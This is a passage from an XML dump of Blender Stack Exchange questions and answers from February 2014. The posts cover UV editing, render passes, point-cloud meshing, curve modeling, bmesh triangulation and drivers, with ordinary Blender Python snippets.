posted, the icon toggle is deactivated.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that mode, to work on all the islands simultaneously, you must select everything in the 3D Viewport.&#xA;Now everything will also show up in the UV/Image Editor.  In this mode, the seam vertices will not affect one another when selected and moved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you activate &lt;em&gt;Sync Selection&lt;/em&gt; using the icon mentioned; the vertices along other island seams will also be selected and moved when you move island-edge vertices which are connected on the 3D Mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found that both modes can be very useful.  If you want to avoid the problem that you are having while staying in the mode that you are in; then you can hide the other vertices by selecting the faces they are connected to and pressing the &lt;em&gt;H&lt;/em&gt; key.&lt;br&gt;&#xA;Now they will not be affected when you move their corresponding vertices.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, use the other mode.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:Additional info requested&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RWUBN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-02-14T11:38:02.427" LastActivityDate="2014-02-14T11:38:02.427" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7023" PostTypeId="2" ParentId="7017" CreationDate="2014-02-14T06:57:28.127" Score="2" Body="&lt;p&gt;You could try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;scene = bge.logic.getCurrentScene()&#xA;owner = bge.logic.getCurrentController().owner&#xA;cam = scene.addObject(&quot;Camera.001&quot;, owner , 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the camera object needs to be on an inactive layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set the active camera in the BGE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bge.logic.getCurrentScene().active_camera = cam&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-02-14T06:57:28.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7025" PostTypeId="1" AcceptedAnswerId="7026" CreationDate="2014-02-14T07:46:22.533" Score="6" ViewCount="1788" Body="&lt;p&gt;I'm experimenting with the values for the mist in my scene (Cycles), however each time I want to test the new values I can't find a way to only render the mist pass. This results in the whole scene being rendered again which takes a lot of time and makes experimenting with the values a real drag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is, can I render only the mist pass and then use it with the original render in the compositor?&lt;/p&gt;&#xA;" OwnerUserId="1390" LastActivityDate="2015-12-09T12:14:33.223" Title="Is it possible to re render a single pass and not the whole scene again?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7026" PostTypeId="2" ParentId="7025" CreationDate="2014-02-14T08:07:45.847" Score="4" Body="&lt;p&gt;It appears that the answer is &lt;strong&gt;no&lt;/strong&gt;, however I'm not sure why this wouldn't be possible for some passes such as &lt;em&gt;Object Index&lt;/em&gt;, &lt;em&gt;Material Index&lt;/em&gt;, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a workaround, render only one sample (you can also &lt;a href=&quot;https://blender.stackexchange.com/a/3474/599&quot;&gt;render at a lower resolution&lt;/a&gt; while testing). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To combine with the original render you will have to save the render to the hard drive (you may want to use &lt;code&gt;exr&lt;/code&gt; to preserve other passes) and then load it back into the compositor with an &lt;em&gt;Image&lt;/em&gt; node.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2014-02-14T08:07:45.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7027" PostTypeId="2" ParentId="7021" CreationDate="2014-02-14T09:00:44.310" Score="2" Body="&lt;p&gt;Try to pickle the custom property which saves the data. You can retrieve the dictionary from it with the &lt;code&gt;.to_dict()&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;print(&quot;-&quot;*79)&#xA;&#xA;class MyPropertyGroup(bpy.types.PropertyGroup):&#xA;    name = bpy.props.StringProperty()&#xA;    index = bpy.props.IntProperty()&#xA;    value = bpy.props.FloatProperty()&#xA;&#xA;&#xA;bpy.utils.register_class(MyPropertyGroup)&#xA;bpy.types.Object.test = \&#xA;    bpy.props.PointerProperty(type=MyPropertyGroup)&#xA;&#xA;obj = bpy.context.object&#xA;#assign some data to test!&#xA;obj.test.name = &quot;foo&quot;&#xA;obj.test.index = 42&#xA;obj.test.value = 3.1416&#xA;&#xA;#if you haven't assigned any data to the attributes of obj.test&#xA;#obj[&quot;test&quot;] may not exist&#xA;#the expression statement&#xA;obj.test&#xA;#will create obj[&quot;test&quot;] with default values then&#xA;dict_test = obj[&quot;test&quot;].to_dict()&#xA;&#xA;import pickle&#xA;&#xA;bytes_test = pickle.dumps(dict_test)&#xA;&#xA;del obj[&quot;test&quot;]&#xA;#no data - returns default values&#xA;print(&#xA;    'del obj[&quot;test&quot;]',&#xA;    &quot;name: %s&quot;%obj.test.name,&#xA;    &quot;index: %d&quot;%obj.test.index,&#xA;    &quot;value: %f&quot;%obj.test.value,&#xA;    &quot;\n&quot;,&#xA;    sep=&quot;\n&quot;&#xA;    )&#xA;&#xA;dict_test = pickle.loads(bytes_test)&#xA;obj[&quot;test&quot;] = dict_test&#xA;print(&#xA;    'obj[&quot;test&quot;] = dict_test',&#xA;    &quot;name: %s&quot;%obj.test.name,&#xA;    &quot;index: %d&quot;%obj.test.index,&#xA;    &quot;value: %f&quot;%obj.test.value,&#xA;    sep=&quot;\n&quot;&#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-02-15T13:24:46.757" LastActivityDate="2014-02-15T13:24:46.757" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7028" PostTypeId="1" AcceptedAnswerId="7029" CreationDate="2014-02-14T12:24:31.697" Score="5" ViewCount="13346" Body="&lt;p&gt;I have a series of point clouds I want to convert to mesh (there are points &lt;em&gt;inside&lt;/em&gt; the object, uniformly distributed, not only on the surface).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to generate a model of the surface of the point cloud. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the model is convex (like a cube or a sphere) applying a &lt;em&gt;convex hull&lt;/em&gt; around the object is good enough but when the model has holes (like a torus (a.k.a. doughnut)) or cavities (like the area around the eyes in a head model or the area around the steam in a glass of wine) those concave features are lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a way to wrap a mesh around a point cloud in a &lt;em&gt;&quot;convex hull style&quot;&lt;/em&gt; without loosing the cavities?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't need to be perfect, a reasonable approximation of the geometry of the object would be good enough. &lt;/p&gt;&#xA;" OwnerUserId="2391" LastActivityDate="2014-02-14T16:45:03.280" Title="Wrapping a mesh around point cloud with cavities" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;point-clouds&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7029" PostTypeId="2" ParentId="7028" CreationDate="2014-02-14T13:46:30.420" Score="5" Body="&lt;p&gt;You could compare the technique you currently use to a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Shrinkwrap&quot; rel=&quot;noreferrer&quot;&gt;ShrinkWrap Modifier&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a 10 times subdivided cube shrinkwrapped to a point cloud created from a torus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S01M7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this image an extra vertex was added in the center:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lZqfq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-02-14T13:52:53.020" LastActivityDate="2014-02-14T13:52:53.020" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7030" PostTypeId="1" AcceptedAnswerId="7031" CreationDate="2014-02-14T15:28:18.443" Score="8" ViewCount="1921" Body="&lt;p&gt;I have been trying to use a combination of bevel object and the screw modifier and I keep getting all kinds of interesting shapes but none are what I need.  I'm sure there is an easier way than just randomly adjusting parameters. Below is the best I've been able to do and that's after 45 minutes of fiddling about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/31Uhe.png&quot; alt=&quot;slide attempt&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="809" LastEditorUserId="19307" LastEditDate="2020-01-09T11:10:37.333" LastActivityDate="2020-01-09T11:10:37.333" Title="How do I create a circular slide (similar to a water park slide)?" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;screw-modifier&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7031" PostTypeId="2" ParentId="7030" CreationDate="2014-02-14T16:00:00.157" Score="8" Body="&lt;p&gt;Creating a slide is a rather simple process. You can easily create a slide using two modifiers. Here is how its done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Create a curve to use as your path:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add a bezier curve and modifiy it&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Create a cross-sectional of the slide:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use a polygon mesh instead of a curve object:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;curves when convertedto polygons are messy and you will need to do some manual clean up&lt;/li&gt;&#xA;&lt;li&gt;you have easy control over the polygon count&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Make sure the cross-sectional has some depth to it, it should be a 3d mesh not a 2d outline or plane.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SzMeW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. Add Array and Curve modifeirs:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the cross sectional mesh and add an Array and Curve modifier&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Array modifier settings:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fit Type: Fit Curve, this will fill the path out for us automatically&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Merge: True, erases inside polygons&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BaWyR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Curve modifier settings:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Object: select the curve&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MNHM3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4. Fix the slide:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Based the curve the slide can oriented in the wrong way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mG0Ug.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the curve and go into edit mode.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the points of the curve that are messed up.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Adjust the tilt using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;T&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MSwMt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1476" LastEditorDisplayName="user1853" LastEditDate="2015-11-30T22:42:00.040" LastActivityDate="2015-11-30T22:42:00.040" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7032" PostTypeId="1" CreationDate="2014-02-14T16:23:22.973" Score="1" ViewCount="2346" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XhNHX.jpg&quot; alt=&quot;enter image description here&quot;&gt;i created a mesh torus to scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;however, the design has multiple tori.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am concerned about the weight. with the specs based on a solid torus, the end result would be very heavy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there a way to make a hollow torus and specify the thickness?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i saw a similar post about extruding along a circular path to create a torus, but it seems like the suggestions would still result in a solid object.&lt;/p&gt;&#xA;" OwnerUserId="2471" LastEditorUserId="2471" LastEditDate="2014-02-14T20:16:33.470" LastActivityDate="2014-02-15T05:09:24.833" Title="how to extrude a curve to create a hollow torus" Tags="&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7033" PostTypeId="1" AcceptedAnswerId="7041" CreationDate="2014-02-14T16:32:08.637" Score="3" ViewCount="5995" Body="&lt;p&gt;I have to triangulate the object's mesh because the format I export to &lt;strong&gt;only&lt;/strong&gt; understands &lt;strong&gt;triangles&lt;/strong&gt;. Now I not only want to export geometry but &lt;strong&gt;also the uv-mappings&lt;/strong&gt; for the mesh. Let's call the uv_texture &lt;code&gt;uvTex&lt;/code&gt;. The context object is &lt;code&gt;obj&lt;/code&gt; What I have done so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bmesh&#xA;bm = bmesh.new()&#xA;bm.from_mesh(obj.data)&#xA;bmesh.ops.triangulate(bm, faces=bm.faces)&#xA;# everything is fine so far&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the problem is that you access the uv-data by iterating through the faces and then through their vertices. So for example &lt;code&gt;uvTex.data[0]&lt;/code&gt; belongs to &lt;code&gt;obj.data.faces[0].&quot;vertices[0]&quot;&lt;/code&gt; (quotes because it's not really a vertex in this context, it's just an index but you get what I mean).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Triangulating the mesh has changed the order of the vertices so my question is now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;How does one export a triangulated version of an object's mesh, including uv-mappings, without changing the objects geometry, etc.?&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="2251" LastEditDate="2015-12-16T18:19:37.643" LastActivityDate="2015-12-16T18:19:37.643" Title="How can I triangulate a mesh without changing the object?" Tags="&lt;python&gt;&lt;uv&gt;&lt;export&gt;&lt;bmesh&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7034" PostTypeId="2" ParentId="7028" CreationDate="2014-02-14T16:36:39.040" Score="8" Body="&lt;p&gt;There is a cool addon called &lt;strong&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?241950-A-Script-to-Skin-a-Point-Cloud-%28for-Blender-2-6x-or-Later%29&quot; rel=&quot;noreferrer&quot;&gt;Point Cloud Skinner&lt;/a&gt;&lt;/strong&gt; that can build mesh from point cloud data. (By Hans.P.G)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Download and install it;&lt;/li&gt;&#xA;&lt;li&gt;Find the Point Cloud Skinner panel in &lt;strong&gt;Scene&lt;/strong&gt; tab;&lt;/li&gt;&#xA;&lt;li&gt;Tweak the parameters as instructed until you get a good-enough result;&lt;/li&gt;&#xA;&lt;li&gt;For complicated data, additional manual fix may be required, such as filling holes or clearing elements.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3tcMo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-14T16:45:03.280" LastActivityDate="2014-02-14T16:45:03.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7035" PostTypeId="2" ParentId="7032" CreationDate="2014-02-14T17:08:06.487" Score="1" Body="&lt;p&gt;I think you are talking about Bevel for Curve:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create two curves, one for section (tori), one for path;&lt;/li&gt;&#xA;&lt;li&gt;Select the path curve, find &lt;strong&gt;Bevel Object&lt;/strong&gt; in its Object Data panel, choose the other one as the bevel object. Then you can scale either of them to change both ratios for it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B5YDm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZPaF1.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-14T18:28:59.763" LastActivityDate="2014-02-14T18:28:59.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7036" PostTypeId="2" ParentId="7033" CreationDate="2014-02-14T17:52:54.367" Score="3" Body="&lt;p&gt;What me and Vader figured out together so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can duplicate the object's data by calling&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;meshCopy = obj.to_mesh(scene, APPLY_MODIFIERS, 'PREVIEW')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means that in order to do this you have to know a scene in which context you want to evaluate the modifier, limiting the export a bit but not hitting it hard. APPLY_MODIFIERS is a bool whether to apply modifiers or not so if this is False nothing will be changed. Not though that blender still doesn't accept None as scene so you might consider &quot;cheating&quot; and just handing over bpy.context.scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you get is a perfect copy of &lt;code&gt;object.data&lt;/code&gt; meaning that you can now &quot;freely&quot; modify &quot;anything&quot; you want. Instead of using &lt;code&gt;obj.data&lt;/code&gt; you just have to use &lt;code&gt;meshCopy&lt;/code&gt; now. Also most of the &lt;code&gt;bpy.ops&lt;/code&gt; stuff won't work now but most of the time (at all times??) there is a second possibility. For example to triangulate the mesh you do this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bmesh&#xA;bm = bmesh.new()&#xA;bm.from_mesh(mesh)&#xA;bmesh.ops.triangulate(bm, faces=bm.faces)&#xA;bm.to_mesh(mesh)&#xA;bm.free()&#xA;del bm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this helps anyone that may see this question in the future ;)&lt;/p&gt;&#xA;" OwnerUserId="2251" LastActivityDate="2014-02-14T17:52:54.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7038" PostTypeId="1" AcceptedAnswerId="7039" CreationDate="2014-02-14T18:36:36.383" Score="2" ViewCount="579" Body="&lt;p&gt;I have a single path as mesh and after I've converted it into a path there are some vertices going in the wrong direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example at the top right and at the bottom in the middle there is also some weird things going on as seen in the lower picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I apply a bevel object it looks a bit weird as you can tell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way that all vertices have the same direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can download the &lt;a href=&quot;https://www.mediafire.com/?pf1b20w9vynt8nj&quot; rel=&quot;nofollow noreferrer&quot;&gt;file&lt;/a&gt;&lt;br&gt;&#xA;Please don't mind the Audi R8 and the German names of the layers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TgLBt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2357" LastEditorUserId="2217" LastEditDate="2014-10-02T16:23:37.273" LastActivityDate="2014-10-02T16:23:37.273" Title="Curve goes in different directions" Tags="&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7039" PostTypeId="2" ParentId="7038" CreationDate="2014-02-14T19:12:45.880" Score="3" Body="&lt;p&gt;The curve is going in different directions because there are gaps in the curves. In your case there are several point where the curve has a gap. It looks like it is a single continous curve but actually there are 2 end points on top of each other that only make it look like a single curve.&#xA;You can fix this by moving on of the overlapping endpoints away form the other and than filling it, use &lt;kbd&gt;F&lt;/kbd&gt; to connect to points. The direction of the curve will then automatically be normalized. Just to be sure: when you are done with that you can also normalize the curve using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Odxda.png&quot; alt=&quot;enter image description here&quot;&gt;   &lt;img src=&quot;https://i.stack.imgur.com/bab5y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to find these overlapping points:&#xA;To find these point you can in &lt;em&gt;Edit&lt;/em&gt; mode, hover of a point with the mouse and hit &lt;kbd&gt;L&lt;/kbd&gt;. This will select all the connected points. You can than select the end points manually.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aZejn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-02-15T14:23:40.963" LastActivityDate="2014-02-15T14:23:40.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7040" PostTypeId="1" CreationDate="2014-02-14T19:52:52.060" Score="3" ViewCount="266" Body="&lt;p&gt;I would like to reproduce the effects of light's finite speeds.  So an object that is far away will be rendered as if it were still in a position that it was in previously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, to create a realistic scene in space, the light from some objects will take a few seconds to reach the camera.  A given object should therefore appear as it appeared in the scene (fps)*(Z/c) frames ago, where c is the speed of light and Z is the distance from the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some examples of what I mean:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visual: &lt;a href=&quot;http://www.youtube.com/watch?feature=player_detailpage&amp;amp;v=mQ0hS7l9ckY#t=480&quot; rel=&quot;nofollow&quot;&gt;VSauce Distortions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2473" LastEditorUserId="2473" LastEditDate="2014-02-21T00:12:10.143" LastActivityDate="2014-02-21T00:12:10.143" Title="Create effect where light takes time to reach camera" Tags="&lt;compositor&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7041" PostTypeId="2" ParentId="7033" CreationDate="2014-02-14T20:13:56.283" Score="4" Body="&lt;p&gt;You can access the UV and Texture / Image information with bmesh using the custom data layers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;ob = bpy.context.object&#xA;ob.update_from_editmode()&#xA;me = ob.data&#xA;vgroups = dict(enumerate(ob.vertex_groups.keys()))&#xA;vgroups_weights = [[&quot;%s: %.3f&quot; % (vgroups[vg.group], vg.weight) for vg in v.groups] for v in me.vertices]&#xA;&#xA;bm = bmesh.new()&#xA;bm.from_mesh(me)&#xA;bmesh.ops.triangulate(bm, faces=bm.faces)&#xA;&#xA;&#xA;uv_layer = bm.loops.layers.uv.active&#xA;if uv_layer is None:&#xA;    raise Exception(&quot;No active UV map (uv)&quot;)&#xA;&#xA;uv_tex = bm.faces.layers.tex.active&#xA;if uv_tex is None:&#xA;    raise Exception(&quot;No active UV map (tex)&quot;)&#xA;&#xA;for face in bm.faces:&#xA;    print(&quot;Face %i, Image = %s&quot; % (face.index, getattr(face[uv_tex].image, &quot;name&quot;, &quot;&quot;)))&#xA;&#xA;    for loop, vert in zip(face.loops, face.verts):&#xA;        print(&quot; - Loop for Vertex %i, UV = %r&quot; % (vert.index, loop[uv_layer].uv))&#xA;    for vert in face.verts:&#xA;        print(&quot; - %s&quot; % &quot;, &quot;.join(vgroups_weights[vert.index]))&#xA;&#xA;bm.free()&#xA;del bm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Verts and loops of a face should match (first vertex - first loop etc.)&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-02-15T00:31:39.263" LastActivityDate="2014-02-15T00:31:39.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7042" PostTypeId="1" AcceptedAnswerId="7057" CreationDate="2014-02-14T20:26:31.167" Score="1" ViewCount="803" Body="&lt;p&gt;I'm currently trying to modify some drivers so that they are disabled when they're not on a proxied armature.  Right now, I'm using the following script to set a custom property, which is used by the drivers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy import context&#xA;&#xA;class UseHeight(bpy.types.PropertyGroup):&#xA;    @classmethod&#xA;    def register(cls):&#xA;        ob = context.object&#xA;        if(&quot;UseHeight&quot; in ob.keys()):&#xA;            ob[&quot;UseHeight&quot;] = (ob.proxy != None)&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(UseHeight)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(UseHeight)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I have to put this into every script I use, and with how my memory has been impacted by my health problems, I don't want to add yet another thing for me to keep track of.  I've attempted to use it as an addon, but it fails to work due to this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Exception in module register(): '/home/zauber/.config/blender/2.69/scripts/addons/MaelstromUseHeight.py'&#xA;Traceback (most recent call last):&#xA;  File &quot;/home/zauber/Desktop/blender-2.69-linux-glibc211-x86_64/2.69/scripts/modules/addon_utils.py&quot;, line 311, in enable&#xA;    mod.register()&#xA;  File &quot;/home/zauber/.config/blender/2.69/scripts/addons/MaelstromUseHeight.py&quot;, line 12, in register&#xA;    bpy.utils.register_class(UseHeight)&#xA;  File &quot;/home/zauber/.config/blender/2.69/scripts/addons/MaelstromUseHeight.py&quot;, line 7, in register&#xA;    ob = context.object&#xA;AttributeError: '_RestrictContext' object has no attribute 'object'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, what do I need to do to get this working?  Or is there a way I can directly check if the object's proxy value is equal to &quot;None&quot; inside the drivers?&lt;/p&gt;&#xA;" OwnerUserId="1897" LastActivityDate="2014-02-15T14:37:26.813" Title="Using RNA Property in Drivers?" Tags="&lt;python&gt;&lt;properties&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7043" PostTypeId="2" ParentId="7032" CreationDate="2014-02-14T20:59:14.983" Score="1" Body="&lt;p&gt;You can use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Solidify&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Solidify&lt;/em&gt;&lt;/a&gt; modifier to make an object hollow:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WShCY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WShCY.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The above screenshot is taken with a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View#View_Clipping_Border&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Clipping border&lt;/em&gt;&lt;/a&gt; in effect to show that the torus is hollow.&lt;/p&gt;&#xA;&lt;p&gt;Also note that unless you need the ends of a curve to be filled or use, there is no need to use a bevel object. Since a torus does not have ends, using a bevel object is not necessary unless you want a non-circular profile.&lt;/p&gt;&#xA;&lt;p&gt;There is nothing wrong with using a bevel object, as a matter of fact it gives you more control. I thought I'd point this 